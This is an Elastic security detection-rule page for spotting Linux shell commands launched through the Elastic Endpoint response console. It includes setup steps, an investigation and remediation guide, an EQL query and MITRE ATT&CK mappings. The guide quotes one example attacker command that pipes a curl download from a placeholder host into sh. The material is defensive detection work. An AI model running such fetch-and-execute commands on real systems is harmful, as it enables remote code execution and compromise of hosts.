Shell Execution via Elastic Endpoint
This rule detects shell executions via Elastic Endpoint. Elastic Endpoint has a built-in response action console that can be used to execute shell commands on compromised systems.
Rule type: eql
Rule indices:
- logs-endpoint.events.process*
- logs-sentinel_one_cloud_funnel.*
Rule Severity: low
Risk Score: 21
Runs every:
Searches indices from: now-9m
Maximum alerts per execution: 100
References:
Tags:
- Domain: Endpoint
- OS: Linux
- Use Case: Threat Detection
- Tactic: Command and Control
- Tactic: Defense Evasion
- Tactic: Execution
- Data Source: Elastic Defend
- Data Source: SentinelOne
- Resources: Investigation Guide
Version: 2
Rule authors:
- Elastic
Rule license: Elastic License v2
This rule requires data coming in from Elastic Defend.
Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.
- Fleet is required for Elastic Defend.
- To configure Fleet Server refer to the documentation.
- Go to the Kibana home page and click "Add integrations".
- In the query bar, search for "Elastic Defend" and select the integration to see more details about it.
- Click "Add Elastic Defend".
- Configure the integration name and optionally add a description.
- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads".
- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. Helper guide.
- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions"
- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. For more details on Elastic Agent configuration settings, refer to the helper guide.
- Click "Save and Continue".
- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. For more details on Elastic Defend refer to the helper guide.
Disclaimer: This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
This rule catches Linux shell sessions launched through the endpoint response console, which matters because that channel can turn a legitimate remote support feature into attacker-controlled command execution on a compromised host. An intruder who hijacks console access might run bash -c 'curl -fsSL http://x/p.sh | sh' to fetch and execute a script, establish persistence, or quietly stage follow-on tooling.
- Correlate the alert with Elastic Security response-action or audit records to identify who initiated the console session, the exact command issued, the authentication method used, and whether it matches an approved ticket or incident workflow.
- Reconstruct the shell activity from the process tree, command line, and execution context to determine what the command attempted, whether it ran with elevated privileges, and which follow-on processes it launched.
- Review immediate post-execution host activity for signs of impact such as outbound connections, downloaded scripts or binaries, new cron or systemd persistence, modified startup files, archive creation, or credential-access tooling.
- Check surrounding host telemetry and related detections to understand why the console may have been used, including recent malware findings, host isolation or release actions, suspicious logins, and lateral movement indicators near the same time.
- Scope the initiating user, role, or API key for other response-console actions or unusual administrative behavior across the environment, and if the activity is not authorized, preserve command output and isolate the host while access is revoked.
- An authorized analyst may use the Elastic Endpoint response console to run a one-line shell command for triage or remediation on a Linux host; confirm the action matches a documented case or approved response record and that the issuing user and time are expected.
- During incident validation or recovery, a responder may execute shell commands through Elastic Endpoint to collect system state or verify a remediation step; verify the command is consistent with benign administrative checks and that related notes or alerts show an active investigation on the same endpoint.
- Isolate the affected Linux host from the network while keeping responder access, terminate any still-running shell or child processes spawned from the Elastic Endpoint console, and block any observed command-and-control destinations or file-download URLs the session contacted.
- Revoke the unauthorized operator’s access by disabling the associated Elastic account or API key, expiring active sessions, rotating any credentials exposed on the host, and preserving the console command history, shell output, and copied scripts for incident evidence.
- Remove attacker footholds by deleting unauthorized cron entries in
/etc/cron*and user crontabs, rogue systemd units under/etc/systemd/systemor/usr/lib/systemd/system, malicious additions to~/.bashrcor/etc/profile, alteredauthorized_keys, and any downloaded payloads or helper scripts left in directories such as/tmpor/var/tmp. - Restore the system to a known-good state by reimaging or rebuilding the host from a trusted baseline if the shell modified core binaries, package repositories, startup files, or security tooling, and validate that only approved services, users, and scheduled tasks remain before reconnecting it.
- Escalate to the incident response team immediately if the shell session ran as root, created new accounts, accessed secrets or SSH keys, disabled defenses, or issued commands against multiple hosts, and expand scoping to other systems touched by the same operator, account, or downloaded tooling.
- Harden the environment by restricting response-console permissions to a small approved group, enforcing MFA and strong session controls for Elastic administration, alerting on shell launches and persistence paths, and tightening Linux egress and application controls so future console abuse cannot fetch tools or execute arbitrary scripts.
process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start") and
process.parent.executable == "/opt/Elastic/Endpoint/elastic-endpoint" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
process.args in ("-c", "-cl", "-lc", "--command")
Framework: MITRE ATT&CK
Tactic:
- Name: Command and Control
- Id: TA0011
- Reference URL: https://attack.mitre.org/tactics/TA0011/
Technique:
- Name: Remote Access Tools
- Id: T1219
- Reference URL: https://attack.mitre.org/techniques/T1219/
Framework: MITRE ATT&CK
Tactic:
- Name: Defense Evasion
- Id: TA0005
- Reference URL: https://attack.mitre.org/tactics/TA0005/
Technique:
- Name: System Binary Proxy Execution
- Id: T1218
- Reference URL: https://attack.mitre.org/techniques/T1218/
Framework: MITRE ATT&CK
Tactic:
- Name: Execution
- Id: TA0002
- Reference URL: https://attack.mitre.org/tactics/TA0002/
Technique:
- Name: Command and Scripting Interpreter
- Id: T1059
- Reference URL: https://attack.mitre.org/techniques/T1059/
Sub Technique:
- Name: Unix Shell
- Id: T1059.004
- Reference URL: https://attack.mitre.org/techniques/T1059/004/